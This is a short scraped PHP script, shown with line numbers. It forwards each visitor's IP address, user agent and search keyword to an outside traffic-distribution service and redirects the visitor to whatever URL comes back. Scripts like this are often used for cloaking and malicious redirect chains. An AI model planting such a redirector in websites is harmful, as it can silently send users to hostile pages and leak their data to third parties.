php ua urlencode _SERVER HTTP_USER_AGENT ip urlencode _SERVER REMOTE_A

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
$ip = urlencode($_SERVER['REMOTE_ADDR']);
$q = urlencode($_GET["q"]);
$ref = urlencode($_SERVER["HTTP_REFERER"]);
$api = 'http://tds.com/tds/?';
$scheme = '1b21';
$apikey = '5f20b9cdd88f400xxxxxxxxxxxxx';
$churl = "{$api}action=get_link&api_key=$apikey&group=$scheme&ua=$ua&ip=$ip&keyword=$q";
$check = file_get_contents($churl);
$json = json_decode($check);
$goaway = $json->{'stream'}->{'url'};
if (isset($_GET['go']) && $_GET['go'] == '1') {
header('Location: '.$goaway);
exit();
}
?>